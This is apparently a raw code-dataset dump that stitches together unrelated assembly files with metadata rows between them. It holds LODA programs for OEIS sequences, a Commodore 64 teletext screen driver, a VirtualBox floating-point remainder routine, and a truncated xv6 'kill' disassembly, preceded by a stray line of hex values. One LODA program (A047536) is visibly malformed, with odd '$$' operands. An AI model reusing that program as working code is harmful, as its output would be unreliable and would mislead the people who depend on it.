46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46
*/
| 35.561404 | 2,999 | 0.649852 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_ht_zr_un_/i7-7700_9_0x48.log_21829_548.asm | 8,108 | Assembly |
; A331148: Triangle read by rows: T(n,k) (n>=k>=1) = f(n,n-k+1) where f(n,k) = floor((n/k)*floor(n/k)).
; Submitted by Christian Krause
; 1,1,4,1,1,9,1,1,4,16,1,1,1,5,25,1,1,1,4,9,36,1,1,1,1,4,10,49,1,1,1,1,4,5,16,64,1,1,1,1,1,4,9,18,81,1,1,1,1,1,4,5,10,25,100,1,1,1,1,1,1,4,5,11,27,121,1,1,1,1,1,1,4,4,9,16,36,144,1,1,1,1,1,1,1,4,5,9,17,39,169
lpb $0
add $1,1
sub $0,$1
lpe
add $1,1
sub $0,$1
mov $2,$1
div $1,$0
mul $2,$1
div $2,$0
mov $0,$2
| 28.125 | 208 | 0.56 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/331/A331148.asm | 450 | Assembly |
; A047536: Numbers that are congruent to {0, 4, 7} mod 8.
; 0,4,7,8,12,15,16,20,23,24,28,31,32,36,39,40,44,47,48,52,55,56,60,63,64,68,71,72,76,79,80,84,87,88,92,95,96,100,103,104,108,111,112,116,119,120,124,127,128,132,135,136,140,143,144,148,151,152,156,159,160,164,167,168,172,175,176,180,183,184,188,191,192,196,199,200,204,207,208,212,215,216,220,223,224,228,231,232,236,239,240,244,247,248,252,255,256,260,263,264,268,271,272,276,279,280,284,287,288,292,295,296,300,303,304,308,311,312,316,319,320,324,327,328,332,335,336,340,343,344,348,351,352,356,359,360,364,367,368,372,375,376,380,383,384,388,391,392,396,399,400,404,407,408,412,415,416,420,423,424,428,431,432,436,439,440,444,447,448,452,455,456,460,463,464,468,471,472,476,479,480,484,487,488,492,495,496,500,503,504,508,511,512,516,519,520,524,527,528,532,535,536,540,543,544,548,551,552,556,559,560,564,567,568,572,575,576,580,583,584,588,591,592,596,599,600,604,607,608,612,615,616,620,623,624,628,631,632,636,639,640,644,647,648,652,655,656,660,663,664
mul $0,2
lpb $$2,1
trn $$3,3
add $1,4
trn $$0,1
lpe
| 107.8 | 960 | 0.719852 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/047/A047536.asm | 1,078 | Assembly |
; A248427: Circumference of the (n,n)-knight graph.
; 8,14,24,36,48,64,80,100,120,144,168,196,224,256,288,324,360,400,440,484,528,576,624,676,728,784,840,900,960,1024,1088,1156,1224,1296,1368,1444,1520,1600,1680,1764,1848,1936,2024
mov $4,$0
add $0,1
mov $1,5
lpb $0,1
pow $0,6
sub $0,1
mod $0,6
gcd $2,1
add $1,$2
lpe
add $1,2
mov $3,$4
mov $5,$4
mul $5,6
add $1,$5
mul $3,$4
add $1,$3
| 18.952381 | 179 | 0.643216 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/248/A248427.asm | 398 | Assembly |
; A048861: a(n) = n^n - 1.
; 0,3,26,255,3124,46655,823542,16777215,387420488,9999999999,285311670610,8916100448255,302875106592252,11112006825558015,437893890380859374,18446744073709551615,827240261886336764176,39346408075296537575423,1978419655660313589123978,104857599999999999999999999,5842587018385982521381124420,341427877364219557396646723583,20880467999847912034355032910566,1333735776850284124449081472843775,88817841970012523233890533447265624
add $0,1
pow $0,$0
sub $0,1
| 68.857143 | 425 | 0.883817 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/048/A048861.asm | 482 | Assembly |
; **********************************************************************
; Teletext screen handler
;
; Copyright 2021 Peter Mount
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;
; **********************************************************************
;
; The highres screen will be located at &E000 which is the start of the
; Kernal rom. This works as the VIC chip can access the ram that's there
; but does not see the ROM.
; When the CPU reads from those addresses it sees the ROM, but writes go to the ram.
; So we can keep Kernal in place, get a HighRes screen and gain 1K of ram
; that was the original text screen at &0400
;
; **********************************************************************
;
;INCLUDE "../macros.asm"
INCLUDE "kernal.asm" ; Kernal constants
ORG &80 ; Zero page 80-8F
GUARD &90
.textX EQUB 0 ; X pos on screen, 0..39
.textY EQUB 0 ; Y pos on screen, 0..24
.screenPos EQUW 0 ; Position in screenRam
.textPos EQUW 0 ; Position in textRam
.textMode EQUB 0 ; Flags about the current text position
.tA EQUB 0 ; oscli save A
.textCol EQUB 0 ; Text colour during refreshLineColour
.textWorkLen EQUB 0 ; Number of bytes remaining for sequence
.tempAddr EQUW 0 ; Scratch address for teletextWrchr & refreshLineColour
.tempAddr2 EQUW 0 ; Scratch address for refreshLineColour
.tempAddr3 EQUW 0 ; Scratch address for writeStringInt & refreshScreenInt
; Bits in textMode
tmNormal = &00 ; Normal text
tmDouble = &40 ; Double height text
tmGraphics = &80 ; Graphics enabled
tmSepGraphics = &01 ; Separated graphics enabled
textRam = &0400 ; Original screen memory used for text ram
; Page 7 workspace (After the textScreen work area)
workBuffer = &07E8 ; Storage of pending oswrch storage
workBufferEnd = workBuffer+10 ; Position of byte after the 10 byte buffer
; 07F2 - 07FF 14 free bytes
colourRam = &CC00 ; 1K Screen ram for high res VIC-II colour
; CCE8-CCFF free but reserved for sprites? aka cursor?
screenRam = &E000 ; Location of VIC-II bitmap behind Kernal rom
defaultColour = &10 ; White on Black at start of each line
; **********************************************************************
ORG &C000-2 ; Start of spare 4K ram, -2 for prg load address
GUARD colourRam ; Start of colourRam
EQUW start ; PRG file format header
.start ; of actual load address
; **********************************************************************
; Public entry points - Addresses of these can't change once defined!
;
; They should also be defined in teletext.inc so they can be referenced
; by user code.
; **********************************************************************
.initScreen JMP initScreenInt ; Initialise the screen, shows black
.osascii CMP #&0D ; write byte expanding CR (0x0D)
BNE oswrch ; to LF/CR sequence
.osnewl LDA #&0A ; Output LF/CR sequence
JSR oswrch
LDA #&0D
.oswrch JMP oswrchInt ; Write char to screen VDU A
.writeString JMP writeStringInt ; Write null terminated string in XY
.refreshScreen JMP refreshScreenInt ; Refresh the screen to the buffer state
.clearStatusV JMP clearStatus ; Clear status area
.showStatusV JMP showStatus ; Show text in status area
.getPosV JMP getPos ; Get cursor position in X,Y
.setPosV JMP setPos ; Set cursor to position in X,Y
; **********************************************************************
.screenOn ; Turn on the VIC-II display enabling high resolution mode
LDA &D011 ; Bit 5 for high resolution mode
ORA #&38 ; Bit 4 is set to enable the display
STA &D011 ; Bit 3 for 25 lines
.waitFrameStart ; Wait until next frame starts
CMP &D012
BNE waitFrameStart
RTS
.screenOff ; Turn off VIC-II output to stop flickering
LDA &D011 ; by clearing bit 4.
AND #&EF ; We do this whilst we clear 9K of ram, colours first
STA &D011 ; so the raster goes white for part of a frame
JMP waitFrameStart ; if we do the clear with the display turned on.
.initScreenInt
JSR screenOff ; Turn off display, this also enables high res
LDA &DD02 ; CIA2 bits 0,1 as output so we can control which
ORA #3 ; memory bank the VIC-II uses
STA &DD02
LDA &DD00 ; Set VIC-II to point to upper 16K bank
AND #&FC ; Bits 0,1 = 0 for Bank 3
STA &DD00
LDA #&38 ; Screen at 0C00, bitmap at 2000 in VIC-II memory map
STA &D018 ; these are based from C000 bank in the CPU memory map
LDA #&08 ; Multicolour off, 40 col, xscroll=0
STA &D016
LDA #COL_BLACK
STA &d020 ; Black border
STA &d021 ; Black background
STA textWorkLen ; reset oswrch work queue
; Run into clearScreen
.clearScreen ; Clear screen
{
LDY #0 ; Clear textRam
LDA #' ' ; Set space in textRam
.L1 STA textRam,Y
STA textRam + &100,Y
STA textRam + &200,Y
DEY
BNE L1
LDY #&E8 ; Clear last area but leaving
.L2 STA textRam + &2FF,Y ; 03F8-03FF work area alone
DEY
BNE L2
} ; Run through to clearRaster
.clearRaster ; Clears just the raster
{
JSR screenOff ; Turn off VIC-II output to stop flickering
LDY #0 ; Clear colourRam & textRam
LDA #defaultColour ; Set default colour to colourRam
.L1 STA colourRam,Y
STA colourRam + &100,Y
STA colourRam + &200,Y
DEY
BNE L1
LDY #&F8 ; Erase 0300-03F7 only as we don't
.L2 STA colourRam + &2FF,Y ; want to touch the sprite pointers
DEY ; at 03F8-03FF
BNE L2
JSR teletextHome ; Reset pointers
LDA #&00 ; Clear screen
LDX #&20 ; &2000 bytes to clear
LDY #0
.L3 STA (screenPos),Y ; Set screen memory
INY
BNE L3 ; Loop until page cleared
INC screenPos+1 ; Move to next page
DEX
BNE L3 ; Loop until all done
JSR screenOn
} ; Run through to home cursor
.teletextHome ; Move char cursor to the home
LDA #0 ; Reset screen position
STA textX ; as A is always 0 reset X & Y
STA textY
STA textWorkLen ; Reset vdu work buffer
STA screenPos ; LSB of screenPos
STA textPos ; LSB of textPos
LDA #>screenRam ; screenPos = screenRam
STA screenPos+1
LDA #>textRam ; textPos = textRam
STA textPos+1
RTS
.getPos ; Return cursor position in X,Y
LDX textX
LDY textY
RTS
.setPos ; Set cursor to X,Y
STX textX ; Store X & Y
STY textY ; then teletextRefreshPos to set screenPos
.teletextRefreshPos ; Set screenPos to textX,textY
{
PHA ; Save A & Y
TYA
PHA
LDA textY ; Index in m40 of textY
ASL A
TAY
CLC ; Calc textPos in textRam
LDA m40,Y
ADC #<textRam
STA textPos
STA tempAddr2 ; Copy for start of line
LDA m40+1,Y
ADC #>textRam
STA textPos+1
STA tempAddr2+1 ; Copy for start of line
CLC ; Add textX to textPos
LDA textPos
ADC textX
STA textPos
LDA textPos+1
ADC #0
STA textPos+1
CLC ; Calc screenPos in bitmap
LDA m360,Y
ADC #<screenRam
STA screenPos
LDA m360+1,Y
ADC #>screenRam
STA screenPos+1
LDA textX ; Index in m8 of textX
ASL A
TAY
CLC ; Add to screenPos
LDA m8,Y
ADC screenPos
STA screenPos
LDA m8+1,Y
ADC screenPos+1
STA screenPos+1
LDX textX ; Set textMode for char
LDY #0
STY textMode ; reset textMode
.L1 LDA (tempAddr2),Y ; Char from start of line
JSR setTextMode ; Check text mode
INY
CPY textX
BMI L1
PLA ; Restore A & Y
TAY
PLA
RTS
}
.disableTextMode ; Disable textMode flag
EOR #&FF ; Invert A
AND textMode ; AND it with current mode
.deTextMode
STA textMode ; Set new mode
SEC ; Flag changed
RTS
.enableTextMode ; Enable textMode flag
ORA textMode
JMP deTextMode
.checkMode ; Check graphics/text modes
{
JSR setTextMode
BCS C0 ; Have we changed anything
RTS
.C0 JMP refreshLineColour ; Refresh line
}
.setTextMode ; Set text mode based on char A
{
CMP #140 ; Normal height
BNE L2
LDA #tmDouble
JMP disableTextMode
.L2 CMP #141 ; Double height
BNE L3
LDA #tmDouble
JMP enableTextMode
.L3 CMP #153 ; Contiguous graphics
BNE L4
LDA #tmSepGraphics
JMP disableTextMode
.L4 CMP #154 ; Separated graphics
BNE L5
LDA #tmSepGraphics
JMP enableTextMode
.L5 AND #&F8 ; Check for colour change
CMP #&80 ; Text colour
BNE L6
LDA #tmGraphics
JMP disableTextMode
.L6 CMP #&90 ; Graphics colour
BNE LE
LDA #tmGraphics
JMP enableTextMode
.LE CLC ; Mark as unchanged
RTS
}
.writeStringInt ; Writes string at X,Y terminating at 0
{ ; But this knows about multiple byte characters
PHA ; so the 0 only takes effect when no extra characters
TXA ; are expected by oswrch.
PHA ; eg: 31,10,0 won't terminate the string as 0 is row 0
TYA
PHA
STX tempAddr3 ; Use tX,tY to hold string address
STY tempAddr3+1
.L1 LDY #0 ; Get next character
LDA (tempAddr3),Y
BNE L2 ; Not 0 so pass it to oswrchImpl
LDY textWorkLen ; Check we are not expecting more data
BNE L2 ; We are expecting more so pass the 0 to oswrchImpl
PLA ; We are done so restore A, X & Y & exit
TAY
PLA
TAX
PLA
RTS
.L2 JSR oswrchImpl ; Write character via oswrchImpl
INC tempAddr3 ; Move to next character
BNE L1 ; & loop
INC tempAddr3+1 ; Next page
JMP L1
}
.oswrchInt ; Write char A at the current position
STA tA ; Save A for us to read it
PHA ; Save A, X Y to stack
TXA
PHA
TYA
PHA
LDA tA ; Fetch A
JSR oswrchImpl ; Call implementation
PLA ; Restore A, X, Y
TAY
PLA
TAX
PLA
RTS
.oswrchImpl ; Core oswrch used by oswrchInt, writeStringInt & refreshScreen
{
STA tA ; Save a in tA
LDY textWorkLen ; Need to store in workBuffer
BEQ S0 ; no so process it now
STA workBuffer,Y ; Store in buffer, in reverse order, so +0 holds action & +1 last value, +2 first value
DEC textWorkLen ; decrement
BEQ Q0 ; we have enough data so process it
.Q1 RTS ; Do nothing
.Q0 LDA workBuffer ; Check pending task
CMP #31 ; TAB
BNE Q1 ; For now all others are ignored
LDX workBuffer+2 ; workBuffer is 31, Y, X as data is in reverse order
LDY workBuffer+1
JMP setPos ; Set new text position
.S0 CMP #32 ; >= 32 then render the character
BPL L0
PHA ; Save control char
ASL A ; Convert to offset in table
TAY
LDA table,Y ; Get pending byte count or address low byte
STA workBuffer
LDA table+1,Y ; Get high byte
BEQ S1 ; 0 so low byte holds pending byte count
STA workBuffer+1 ; Save high byte
PLA ; Restore A
JMP (workBuffer) ; Call vdu handler
.S1 LDA workBuffer ; Set textWorkLen to new value with the number
STA textWorkLen ; of bytes to expect
PLA ; Restore A and set workBuffer so we know
STA workBuffer ; the pending command
.*nop ; NOP handler
RTS ; Stop here
.D0 JSR teletextBackward ; Backspace & delete
LDA #' ' ; Move back 1 char
LDY #0
STA (textPos),Y ; Save char in textRam
JMP teletextWrchr ; erase what's there & exit
.L0 CMP #127
BEQ D0 ; Delete previous char
} ; follow through to oswrchDir
.oswrchDir ; Entry point without processing VDU codes
{
PHA ; Save A
LDY #0
ORA (textPos),Y ; Or with existing char
BPL L1 ; Skip if both old & new are plain text
PLA ; Restore A
JSR L2 ; Call update
JMP refreshLineColour ; Finish off with line refresh
.L1 PLA ; Restore A
.L2 STA (textPos),Y ; Save new char in textRam
CMP #128 ; Render text char
BMI L3
CMP #160 ; Check if graphics char
BPL L3 ; Render it
JSR checkMode ; Handle mode change
.CE LDA #' ' ; Render as space
.L3 JSR teletextWrchr ; Render requested character
} ; Run into teletextForward to move forward 1 char
.teletextForward ; Move forward 1 char
; Unlike the other directions, this one is
; called the most so we do more work here
{ ; rather than recalculate the position every time
INC textX ; Increment X
INC textPos ; Quickly move to next char
BNE L1
INC textPos+1
.L1 CLC ; Also on screenPos add 8
LDA screenPos
ADC #8
STA screenPos
LDA screenPos+1
ADC #0
STA screenPos+1
LDA textX ; check still on current line
CMP #40
BPL NL ; Move to start of next line
.FF RTS
.NL LDA #0 ; Move to start of next line
STA textX ; run into teletextDown
STA textMode ; Reset textMode as on new line TODO fixme
INC textY ; Inc Y but textPos/screenPos are already correct
LDA textY
CMP #25
BMI FF ; Still on screen
JMP teletextHome ; Home cursor
.*teletextDown ; Move down 1 row
INC textY ; Increment Y
LDA textY
CMP #25 ; Check if below bottom of screen
BMI L3 ; Not so just recalc pointers
LDA #0 ; Point to row 0
STA textY
.L3 JMP teletextRefreshPos ; refresh screenPos to correct address
}
.teletextBackward ; Move forward 1 char
{
DEC textX ; Decrement X
BPL L1 ; Same line so just recalc pointers
LDA #39 ; Move to end of prev line
STA textX
.*teletextUp ; Move up 1 row
DEC textY
BPL L1
LDA #24 ; Move to bottom row & refresh pos
STA textY
.L1 JMP teletextRefreshPos
}
.teletextStartLine ; Start new line, aka CR
LDA #0 ; Set start of line
STA textX
JMP teletextRefreshPos ; refresh screenPos
; teletextWrchr Write char in A to current text pos
.teletextWrchr
{
AND #&7F ; Convert to 7 bit
CMP #' ' ; < 32 then control char
BMI W0
BIT textMode ; Are we in graphics mode?
BPL W1 ; No then skip
.W0 ORA #&80 ; Force graphics
.W1 CMP #128 ; Normal text
BMI A1
CMP #224 ; 224-255 graphics
BPL G0
CMP #192 ; 192-223 same as 64+
BPL A1 ; Skip to render text
CMP #160 ; 160-192 graphics
BPL G0
.A1 AND #&7F ; Clear bit 8
SEC ; Subtract 32 for base of charset
SBC #32
BPL L1 ; We have a valid char
.L0 LDA #0 ; Use space for invalid chars
.L1 STA tempAddr ; Store as 16bit offset
LDA #0
STA tempAddr+1
ASL tempAddr ; Shift left 3 to multiply by 8 to
ROL tempAddr+1 ; align with char data
ASL tempAddr
ROL tempAddr+1
ASL tempAddr
ROL tempAddr+1
CLC ; Add charset to get final pointer
LDA tempAddr
ADC #<charset
STA tempAddr
LDA tempAddr+1
ADC #>charset
STA tempAddr+1
BIT textMode ; Test double height mode
BVS L3 ; bit 6 is set so double height
LDY #7 ; Copy normal height character to screen
.L2 LDA (tempAddr),Y
STA (screenPos),Y
DEY
BPL L2
RTS
.ro EQUB 7, 3 ; Table for row offset
.L3 LDA textY ; Double height mode so even rows are top
AND #&01 ; So using bit 0 set means no change
BNE L4
CLC ; Add 4 to char data
LDA tempAddr
ADC #4
STA tempAddr
LDA tempAddr+1
ADC #0
STA tempAddr+1
.L4 LDY #0 ; Copy half char
LDX #0
.L5 LDA (tempAddr,X)
STA (screenPos),Y
INY
STA (screenPos),Y
INY
INC tempAddr
BNE L6
INC tempAddr+1
.L6 CPY #8
BNE L5
RTS
; Graphics rendering
.G0 CMP #224 ; If 225-255 then subtract 32
BMI A2
SEC
SBC #32
.A2 SEC ; Solid graphics
SBC #160 ; Convert to binary
LDY #0
PHA ; Determine separated graphics
LDA textMode
AND #tmSepGraphics
BNE G3 ; Render separated graphics
PLA ; Restore A
; Solid graphics
JSR G1 ; Bits 0,1
JSR G1 ; Bits 2,3, follow through for bits 4,5
.G1 PHA ; Preserve current value
AND #&03 ; Bits 0,1
TAX ; convert to pixels
LDA GR1,X ; Get 2 Sixels
STA (screenPos),Y ; Store top row
INY
STA (screenPos),Y ; Store row 2
INY
CPY #8 ; Store row 3 except for last sizel
BPL G2
STA (screenPos),Y
.G2 INY
PLA ; Restore A
ROR A ; Rotate right 2
ROR A
RTS
.G3 PLA ; Restore A
JSR G4 ; Bits 0,1
JSR G4 ; Bits 2,3, follow through for bits 4,5
.G4 PHA ; Preserve current value
AND #&03 ; Bits 0,1
TAX ; convert to pixels
LDA GR2,X ; Get 2 Sixels
PHA ; Save A so we have 0 for first row
LDA #0
STA (screenPos),Y ; Store top row
INY
PLA
STA (screenPos),Y ; Store row 2
INY
CPY #8 ; Store row 3 except for last sixel
BPL G5
STA (screenPos),Y
.G5 INY
PLA ; Restore A
ROR A ; Rotate right 2
ROR A
RTS
}
.refreshLineColour ; Refresh the current line's colours based on control chars
{
PHA ; Preserve A
TYA ; Preserve Y
PHA
LDA tA ; Preserve tA
PHA
JSR R0
PLA ; restore tA
STA tA
PLA ; Restore Y
TAY
PLA ; Restore A
RTS
.R0 LDA textY ; Get current line
ASL A
TAY
CLC
LDA m40,Y ; Get textRam address for start of line
ADC #<textRam
STA tempAddr
LDA m40+1,Y
ADC #>textRam
STA tempAddr+1
CLC
LDA m40,Y ; Get colourRam address
ADC #<colourRam
STA tempAddr2
LDA m40+1,Y
ADC #>colourRam
STA tempAddr2+1
LDA #defaultColour ; Reset colour
STA textCol
LDX #40 ; 40 chars to process
LDY #0 ; start of line
.L1 LDA (tempAddr),Y ; Get Char
BPL L2 ; Ignore text
CMP #156 ; Black background
BNE S1
LDA textCol ; Clear background in lower nibble
AND #&F0
STA textCol
JMP L2
.S1 CMP #157 ; New background from foreground
BNE S2
LDA textCol ; Set background to that of foreground
AND #&F0 ; Rotate upper nibble to lower
SEC ; Set carry as we want top bit set
ROR A ; ROR 4 times
ROR A
ROR A
ROR A
AND #&1F ; Mask out top 3 bits so that we now
STA textCol ; have new background & white text
JMP L2
.S2 CMP #160 ; 160..255 are graphics characters
BPL L2 ; so skip them
; Translate to new text/graphics colour
AND #&0F ; Lower nibble of command
CMP #&08 ; Ignore >=8 as not a valid colour
BPL L2
STA tA ; Save colour offset
LDA textCol ; Clear upper nibble of textCol
AND #&0F
STA textCol
TYA ; Save Y
PHA
LDY tA ; Get offset to translation table
LDA teletextColours,Y ; Colour conversion to VIC-II
AND #&F0 ; we want upper nibble
ORA textCol ; Merge with TextCol
STA textCol
PLA ; Restore Y
TAY
.L2 LDA textCol ; Get current colour
STA (tempAddr2),Y ; Update colourRam
INY ; next character
DEX
BNE L1 ; Loop back for next colour
.E0 RTS
}
.refreshScreenInt ; Refresh screen
{
LDA textX ; Save textX & Y
PHA
LDA textY
PHA
JSR clearRaster ; Clear the raster
LDA #<textRam ; Start at text ram start
STA tempAddr3
LDA #>textRam
STA tempAddr3+1
JSR teletextHome ; Home cursor
.L1 LDY #0 ; Get char
LDA (textPos),Y
JSR oswrchDir
LDA textX ; textX or textY = 0 when we are back at home
ORA textY ;
BEQ L3 ; for which we can exit
INC tempAddr3 ; Increment tA to next char
BNE L1
INC tempAddr3+1
BNE L1 ; Always the case so implicit BRA
.L3 PLA ; Restore textX & Y
STA textY
PLA
STA textX
JMP teletextRefreshPos ; Recalc addresses
}
.teletextColours ; Translation table for colours
; Upper & lower nibbles set to same value
EQUB COL_BLACK + (COL_BLACK<<4) ; 80 128 Alpha Black, not BBC but in some later BBCBasic for windows
EQUB COL_RED + (COL_RED<<4) ; 81 129 Alphanumeric Red
EQUB COL_GREEN + (COL_GREEN<<4) ; 82 130 Alphanumeric Green
EQUB COL_YELLOW + (COL_YELLOW<<4) ; 83 131 Alphanumeric Yellow
EQUB COL_BLUE + (COL_BLUE<<4) ; 84 132 Alphanumeric Blue
EQUB COL_PURPLE + (COL_PURPLE<<4) ; 85 133 Alphanumeric Magenta
EQUB COL_CYAN + (COL_CYAN<<4) ; 86 134 Alphanumeric Cyan
EQUB COL_WHITE + (COL_WHITE<<4) ; 87 135 Alphanumeric White
; 88 136 flash
; 89 137 steady
; 8C 140 normal height
; 8D 141 double height
; 91-97 Graphics colours like teletextColours
; 98 conceal
; 99 153 contiguous graphics
; 9A 154 separated graphics
; 9C 156 black background
; 9D 157 new blackground (takes current foreground)
; 9E 158 hold graphics
; 9F 159 release graphics
; 8 * table for 0..39
.m8
EQUW &0000, &0008, &0010, &0018, &0020, &0028, &0030, &0038, &0040, &0048
EQUW &0050, &0058, &0060, &0068, &0070, &0078, &0080, &0088, &0090, &0098
EQUW &00a0, &00a8, &00b0, &00b8, &00c0, &00c8, &00d0, &00d8, &00e0, &00e8
EQUW &00f0, &00f8, &0100, &0108, &0110, &0118, &0120, &0128, &0130, &0138
; 40 * table for 0..24
.m40
EQUW &0000, &0028, &0050, &0078, &00a0, &00c8, &00f0, &0118, &0140, &0168
EQUW &0190, &01b8, &01e0, &0208, &0230, &0258, &0280, &02a8, &02d0, &02f8
EQUW &0320, &0348, &0370, &0398, &03c0
; 360 * table for 0..24
.m360
EQUW &0000, &0140, &0280, &03c0, &0500, &0640, &0780, &08c0, &0a00, &0b40
EQUW &0c80, &0dc0, &0f00, &1040, &1180, &12c0, &1400, &1540, &1680, &17c0
EQUW &1900, &1a40, &1b80, &1cc0, &1e00
; VDU command lookup table, either an address or number of additional bytes for the command
.table
EQUW nop ; 00 NUL does nothing
EQUW 1 ; 01 SOH Send next char to printer only
EQUW nop ; 02 STX Start print job
EQUW nop ; 03 ETX End print job
EQUW nop ; 04 EOT Write text at text cursor
EQUW nop ; 05 ENQ Write text at graphics cursor
EQUW nop ; 06 ACK Enable VDU drivers
EQUW nop ; 07 BEL Make a short beep
EQUW teletextBackward ; 08 BS Backspace cursor one character
EQUW teletextForward ; 09 HT Advance cursor one character
EQUW teletextDown ; 0A LF Move cursor down one line
EQUW teletextUp ; 0B VT Move cursor up one line
EQUW clearScreen ; 0C FF Clear text area
EQUW teletextStartLine ; 0D CR Move cursor to start of current line
EQUW nop ; 0E SO Page mode on
EQUW nop ; 0F SI Page mode off
EQUW nop ; 10 DLE Clear graphics area
EQUW 1 ; 11 DC1 Define text colour
EQUW 2 ; 12 DC2 Define graphics colour
EQUW 5 ; 13 DC3 Define logical colour
EQUW nop ; 14 DC4 Restore default logical colours
EQUW nop ; 15 NAK Disable VDU drivers or delete current line
EQUW 1 ; 16 SYN Select screen mode
EQUW 9 ; 17 ETB Define display character & other commands
EQUW 8 ; 18 CAN Define graphics window
EQUW 5 ; 19 EM Plot K,x,y
EQUW nop ; 1A SUB Restore default windows
EQUW nop ; 1B ESC Does nothing
EQUW 4 ; 1C FS Define text window
EQUW 4 ; 1D GS Define graphics origin
EQUW teletextHome ; 1E RS Home text cursor to top left
EQUW 2 ; 1F US Move text cursor to x,y
.GR1 ; Solid graphics
EQUB &00, &F0, &0F, &FF
.GR2 ; Separated graphics
EQUB &00, &E0, &0E, &EE
INCLUDE "prompt.asm" ; Prompt utilities
INCLUDE "charset1.asm" ; Include our char definitions
.end
SAVE "teletext.prg", start-2, end
| 41.645585 | 135 | 0.429067 | [
"Apache-2.0"
] | peter-mount/teletextc64 | teletext.asm | 34,899 | Assembly |
; $Id: remainder.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; IPRT - No-CRT remainder - AMD64 & X86.
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "iprt/asmdefs.mac"
BEGINCODE
;;
; See SUS.
; @returns st(0)
; @param rd1 [ebp + 8h] xmm0
; @param rd2 [ebp + 10h] xmm1
BEGINPROC RT_NOCRT(remainder)
push xBP
mov xBP, xSP
sub xSP, 20h
;int3
%ifdef RT_ARCH_AMD64
movsd [rsp + 10h], xmm1
movsd [rsp], xmm0
fld qword [rsp + 10h]
fld qword [rsp]
%else
fld qword [ebp + 10h]
fld qword [ebp + 8h]
%endif
fprem1
fstsw ax
test ah, 04h
jnz .done
fstp st1
.done:
%ifdef RT_ARCH_AMD64
fstp qword [rsp]
movsd xmm0, [rsp]
%endif
leave
ret
ENDPROC RT_NOCRT(remainder)
| 25.632353 | 71 | 0.67642 | [
"MIT"
] | Nurzamal/rest_api_docker | vbox/src/VBox/Runtime/common/math/remainder.asm | 1,743 | Assembly |
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 10 sub $0x10,%esp
12: 89 cb mov %ecx,%ebx
int i;
if(argc < 2){
14: 83 3b 01 cmpl $0x1,(%ebx)
17: 7f 17 jg 30 <main+0x30>
printf(2, "usage: kill pid...\n");
19: 83 ec 08 sub $0x8,%esp
1c: 68 0e 08 00 00 push $0x80e
21: 6a 02 push $0x2
23: e8 30 04 00 00 call 458 <printf>
28: 83 c4 10 add $0x10,%esp
exit();
2b: e8 99 02 00 00 call 2c9 <exit>
}
for(i=1; i<argc; i++)
30: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
37: eb 2d jmp 66 <main+0x66>
kill(atoi(argv[i]));
39: 8b 45 f4 mov -0xc(%ebp),%eax
3c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
43: 8b 43 04 mov 0x4(%ebx),%eax
46: 01 d0 add %edx,%eax
48: 8b 00 mov (%eax),%eax
4a: 83 ec 0c sub $0xc,%esp
4d: 50 push %eax
4e: e8 e4 01 00 00 call 237 <atoi>
53: 83 c4 10 add $0x10,%esp
56: 83 ec 0c sub $0xc,%esp
59: 50 push %eax
5a: e8 9a 02 00 00 call 2f9 <kill>
5f: 83 c4 10 add $0x10,%esp
if(argc < 2){
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
62: 83 45 f4 01 addl $0x1,-0xc(%ebp)
66: 8b 45 f4 mov -0xc(%ebp),%eax
69: 3b 03 cmp (%ebx),%eax
6b: 7c cc jl 39 <main+0x39>
kill(atoi(argv[i]));
exit();
6d: e8 57 02 00 00 call 2c9 <exit>
00000072 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
72: 55 push %ebp
73: 89 e5 mov %esp,%ebp
75: 57 push %edi
76: 53 push %ebx
asm volatile("cld; rep stosb" :
77: 8b 4d 08 mov 0x8(%ebp),%ecx
7a: 8b 55 10 mov 0x10(%ebp),%edx
7d: 8b 45 0c mov 0xc(%ebp),%eax
80: 89 cb mov %ecx,%ebx
